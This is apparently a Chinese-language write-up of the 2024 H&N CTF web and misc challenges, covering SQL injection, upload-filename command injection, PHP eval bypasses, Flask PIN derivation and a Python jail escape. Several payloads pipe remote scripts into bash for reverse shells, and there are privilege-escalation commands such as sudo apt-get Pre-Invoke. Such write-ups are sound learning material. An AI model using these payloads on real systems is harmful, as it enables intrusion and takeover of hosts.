2024 H&N CTF Web&Misc 部分 wp

Web

ez_tp

判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式

  'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写

    'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:

    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

默认phpinfo模式 走路由模式
类似这种传参

http://serverName/index.php/模块/控制器/操作

Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句

"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "

解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合

name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag

直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
image.png

/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent 触发 and关键字被拦截
image.png
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程

import requests

url="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"

#files={'file':open("D:\\flag.txt","rb")}

headers={"Accept":"$get"} #实际没有

res=requests.post(url,headers=headers)

print(res.text)

image.png

ezflask

法一:
当成无回显RCE的题
直接反弹shell

cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()

curl -T 外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]

image.png

Gojava

存在信息泄露 /robots.txt
image.png

可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑

javac 实现编译
jar cvfe 实现打包

考虑直接 命令注入

黑名单处就是考点

为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行

image.png

本地调试跟踪代码发现 filename中 /会截断 不能出现 / 否则截断字符报错
image.png

image.png

可以报错带出
image.png
直接curl 反弹shell

POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close

------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-stream

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello gojava");
    }
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--

直接弹了回来
image.png
看了下main.go 感觉出题人想 /testExecYourJarOnServer

// 执行.jar文件 这里可以直接反弹shell 

    cmd := exec.Command("java", "-jar", jarFile)

感觉非预期了
根目录下存在 memorandum 备忘录
得到字符 H2LvFxnWENLqVxE
image.png
死活提不了权限
最后发现 H2LvFxnWENLqVxE是root的密码
su root
image.png

main.go

package main

import (
        "fmt"
        "io"
        "log"
        "math/rand"
        "mime/multipart"
        "net/http"
        "os"
        "os/exec"
        "path/filepath"
        "strconv"
        "strings"
        "time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
        // 设置路由
        http.HandleFunc("/gojava", compileJava)
        http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

        // 设置静态文件服务器
        fs := http.FileServer(http.Dir("."))
        http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // 检查请求的路径是否需要被禁止访问
                if isForbiddenPath(r.URL.Path) {
                        http.Error(w, "Forbidden", http.StatusForbidden)
                        return
                }

                // 否则,继续处理其他请求
                fs.ServeHTTP(w, r)
        }))

        // 启动服务器
        log.Println("Server started on :80")
        log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
        // 检查路径是否为某个特定文件或文件夹的路径
        // 这里可以根据你的需求进行设置
        forbiddenPaths := []string{
                "/main.go",
                "/upload/",
        }

        // 检查请求的路径是否与禁止访问的路径匹配
        for _, forbiddenPath := range forbiddenPaths {
                if strings.HasPrefix(path, forbiddenPath) {
                        return true
                }
        }

        return false
}

func isFilenameBlacklisted(filename string) bool {
        for _, char := range filename {
                for _, blackChar := range blacklistChars {
                        if char == blackChar {
                                return true
                        }
                }
        }
        return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
        // 检查请求方法是否为POST
        if r.Method != http.MethodPost {
                http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
                return
        }

        // 解析multipart/form-data格式的表单数据
        err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
        if err != nil {
                http.Error(w, "Error parsing form", http.StatusInternalServerError)
                return
        }

        // 从表单中获取上传的文件
        file, handler, err := r.FormFile("file")
        if err != nil {
                http.Error(w, "Error retrieving file", http.StatusBadRequest)
                return
        }
        defer file.Close()

        if isFilenameBlacklisted(handler.Filename) {
                http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
                return
        }

        // 检查文件扩展名是否为.java
        if !strings.HasSuffix(handler.Filename, ".java") {
                http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
                return
        }

        // 保存上传的文件至./upload文件夹
        err = saveFile(file, "./upload/"+handler.Filename)
        if err != nil {
                http.Error(w, "Error saving file", http.StatusInternalServerError)
                return
        }

        // 生成随机文件名
        rand.Seed(time.Now().UnixNano())
        randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

        // 编译Java文件
        cmd := "javac ./upload/" + handler.Filename
        compileCmd := exec.Command("sh", "-c", cmd)
        //compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
        compileOutput, err := compileCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
                return
        }

        // 将编译后的.class文件打包成.jar文件
        fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
        jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
        jarOutput, err := jarCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
                return
        }

        // 返回编译后的.jar文件的下载链接
        fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
        // 创建目标文件
        f, err := os.Create(filePath)
        if err != nil {
                return err
        }
        defer f.Close()

        // 将上传的文件内容复制到目标文件中
        _, err = io.Copy(f, file)
        if err != nil {
                return err
        }

        return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
        jarFile := "./final/" + r.URL.Query().Get("jar")

        // 检查是否存在指定的.jar文件
        if !strings.HasSuffix(jarFile, ".jar") {
                http.Error(w, "Invalid jar file format", http.StatusBadRequest)
                return
        }

        if _, err := os.Stat(jarFile); os.IsNotExist(err) {
                http.Error(w, "Jar file not found", http.StatusNotFound)
                return
        }

        // 执行.jar文件 这里可以直接反弹shell 还缺提权
        cmd := exec.Command("java", "-jar", jarFile)
        output, err := cmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
                return
        }

        // 输出结果
        w.Header().Set("Content-Type", "text/plain")
        w.Write(output)
}

奇怪的网站

后台设置

Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低

扫描后发现 存在

/404.php
/flag.php

/index.png 被当作 php进行解析 修改了默认apache .htaccess配置
存在vim泄露 对应文件名

import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:
    url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"
    res=requests.get(url)
    if res.status_code==200:
        print(url)
        break
    else:
        print(res.status_code)

image.png
访问 .flag.php.swm

echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];}           return $num == '11259375';        }                }                        return false;                {                if ( ($c >= $a) && ($c <= $b) )                $c = ord($num{$i});        {        for ($i = 0; $i < strlen($num); $i++)        $b = ord('9');        $a = ord('1');{ function check($num)*/you find me!/*

混乱的数据 要先恢复 vim缓存文件

vim -r flag.php
<?php

/*

you find me!

*/

 function check($num)

{

        $a = ord('1');

        $b = ord('9');

        for ($i = 0; $i < strlen($num); $i++)

        {

                $c = ord($num{$i});

                if ( ($c >= $a) && ($c <= $b) )

                {

                        return false;

                }

        }

           return $num == '11259375';

}

$num = $_GET['num'];

搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
image.png
没p用
浏览器判断 数据包
image.png
首页存在302跳转
提示 :
image.png

image.png
404存在可疑的 头
用bp发包

Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?

答案是不会

预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
image.png
可以接受的请求头
模仿 404.php的第一次预请求
image.png

猜测时传参 ?ff
image.png
可以读到源码

<?php
header("Secret:  After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){
    header("Cookie: ?ff");
    $file=$_GET['ff'];
    if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){ 
        die('hacker!');
    }
    echo file_get_contents($file);
}

尝试读取 .htaccess文件

<FilesMatch "index.png">
    SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]

ggggoku.php

<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {
    if(preg_match('/`/i', $a)){
        die("nonono~~~");
    }
    eval('$b="' . addslashes($_GET['a']) . '";');
} else {
    die('RCE都不会了?');
}

?>

image.png
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。

http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}

PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号

ggggoku.php?a=${eval($_POST[1])}

有一堆disabled_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|

进行正则匹配后发现
popen()命令没有被禁止 尝试

$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){        
    echo fread($hane, 1024);  
}  
pclose($hane);

image.png
完美过关 内容见绕过笔记1
image.png

curl直接反弹shell回来
image.png

find / -perm -u=s -type f 2>/dev/null

image.png
唯一可以利用的是su 切换目录

find / -type f -user www-data -readable 2>/dev/null

没找到直接 linpeas信息搜集
image.png
特别注意标红内容

cat /home/admin/passwd

image.png
md5(goku): bef27466a245ce3ec692bd25409c2549
image.png
没有tty 不完整 不可以pty 如何处理

usr/bin/script -qc /bin/bash /dev/null

最终是提权到root superuser 不是admin哦
猜测密码是root的密码
image.png

GPTS

# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到

python3 -c 'import pty;pty.spawn("/bin/sh")'

查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
image.png
涉及的权限和用户 ctfgame->ctfer->root
image.png
本地的gcc和useful software 命令
image.png
ctfer的密码隐藏在 mail中

find / -type f -user ctfgame -readable 2>/dev/null

查看 当前用户可读的文件也是一种方法
image.png
ctfer : KbsrZrSCVeui#+R
切换到ctfer

su ctfer

查看sudo特权

sudo -l

image.png

sudo adduser test -gid 0

/etc/sudoers 文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
image.png

image.png
kobe用户 有 apt-get sudo 利用
image.png
考虑apt-get 提权
image.png

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

此时就是 root用户

image.png

flipPin

考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'






if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

访问 /etc/passwd
image.png
当前用户是 ctfUser
传入错误session 使flask报错
image.png

#### /usr/lib/python3.9/site-packages/flask/app.py

/sys/class/net/eth0/address 获取 mac地址

image.png

02:42:ac:11:00:0d

尝试读机器码 存在黑名单

filename_blacklist = {
    'self', # 1 
    'cgroup', # cpuset
    'mountinfo',
    'env',
    'flag'
    # /proc/1/cpuset
}

读取相关文件绕过过滤

  • 过滤了self的时候怎么读 machine-id
    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤 cgroup
    • 用mountinfo或者cpuset
      读取 后半部分 /proc/1/cpuset
      image.png
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

读取前半部分 /proc/sys/kernel/random/boot_id

9fd11036-6c2e-41c7-bb26-7d358f670070

机器码就是

9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

计算后pin码是 101-622-803
image.png
flag 在环镜变量

Please_RCE_Me

PHP/5.6.40
低版本存在 preg_replace //e 任意命令执行

flag=Please_give_me_flag&task=phpinfo();

查看php的默认配置
array_map或array_filter绕过 做转接头即可

flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");

image.png

Misc

ezjail

import os

banner = r"""
__        __   _       ___            _____   _    ___    _   _  ___   _   _ 
\ \      / /__| | ___ / _ \ _ __ ___ |___ /  | |_ / _ \  | | | |( _ ) | \ | |
 \ \ /\ / / _ \ |/ __| | | | '_ ` _ \  |_ \  | __| | | | | |_| |/ _ \/\  \| |
  \ V  V /  __/ | (__| |_| | | | | | |___) | | |_| |_| | |  _  | (_>  < |\  |
   \_/\_/ \___|_|\___|\___/|_| |_| |_|____/   \__|\___/  |_| |_|\___/\/_| \_|

     _       _ _
    | | __ _/ | |
 _  | |/ _` | | |
| |_| | (_| | | |___
 \___/ \__,_|_|_____|

"""

badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter",
            "next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]

badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
            'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']




class Jail():
    def __init__(self) -> None:


        print(banner)
        print("Will you be able to read the $FLAG?")
        exec(self.generate_dynamic_code())
        print("type 'hint' to get source code")
        while(1):
            print("> ", end="")
            self.run_code(input())

    def generate_dynamic_code(self):
        dynamic_code = ""
        flag_values = [ 70, 76, 65, 71]
        for i in flag_values:
            dynamic_code += f"self.{chr(i)} = {i}\n"
        return dynamic_code

    def run_code(self, code):
        if code.isascii():
            
            if code == "hint":
                print(open(__file__).read())

            if (all([x not in code for x in badchars]) and
                    all([x not in code for x in badwords])):
                try:
                    exec(code)
                except Exception as e:
                    print(f"something wrong \n{e}")
            else:
                print("Exploiting detected")
        else:
            exit("?¿")



    def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))



Jail()

最终实现 exec(code) 执行Python代码
存在几个没有上的有意思的函数方法

def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))

python中调用类中方法self.方法名

def test(self):
        print(dir(self))

输入 self.test()
image.png
有特别的提示
image.png
1 3 0 2 实际调用 dir(self) 列举了self`可用的属性 以列表形式返回

def get_var(self, varname):
        print(os.getenv(varname))

尝试读取 FLAG 环镜变量构造字符 FLAG

self.get_var(dir(self)[0])

image.png

print(dir(self)[1]) 
F

解决 数字和中括号的问题
[] 可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3 可以用 富比较构造出 0,1
image.png

image.png
+ 拼接即可

().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) G

dir(self).__getitem__()

dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))

image.png
可以成功拼接出FLAG
image.png
本地可以直接打通

self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))

很遗憾 n 被过滤了
无非换一种富比较即可
image.png

().__le__(()) 1 
().__lt__(()) 0
dir(self).__getitem__()
1302

F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))



self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))

image.png
官方题解用的是 python匿名函数进行拼接

self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)  
* 代表解包 
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数

一个一个返回字符 传入 形参 构造FLAG

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-08 06:46:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-08 06:46:04       106 阅读
  3. 在Django里面运行非项目文件

    2024-06-08 06:46:04       87 阅读
  4. Python语言-面向对象

    2024-06-08 06:46:04       96 阅读

热门阅读

  1. Linux入门学习指南

    2024-06-08 06:46:04       27 阅读
  2. 设计模式之模板方法模式

    2024-06-08 06:46:04       29 阅读
  3. Linux基于V4L2的视频捕捉

    2024-06-08 06:46:04       33 阅读
  4. Unity3D DOTS 10W GPU Intancing 动画与合批优化详解

    2024-06-08 06:46:04       28 阅读
  5. Excel中的SUMPRODUCT函数:使用方法与案例分析

    2024-06-08 06:46:04       30 阅读
  6. 【MyBatisPlus条件构造器】

    2024-06-08 06:46:04       29 阅读
  7. [DT] 翻译笔记

    2024-06-08 06:46:04       24 阅读
  8. uniapp vue 隐藏button的边框

    2024-06-08 06:46:04       32 阅读
  9. 零、测试开发前置知识

    2024-06-08 06:46:04       28 阅读
  10. 【常用工具系列】Git 教程——从入门到大师

    2024-06-08 06:46:04       45 阅读
  11. Freemarker

    2024-06-08 06:46:04       27 阅读
  12. MySQL学习——获取数据库和表格的信息

    2024-06-08 06:46:04       30 阅读
  13. solidity的modifier修饰符

    2024-06-08 06:46:04       22 阅读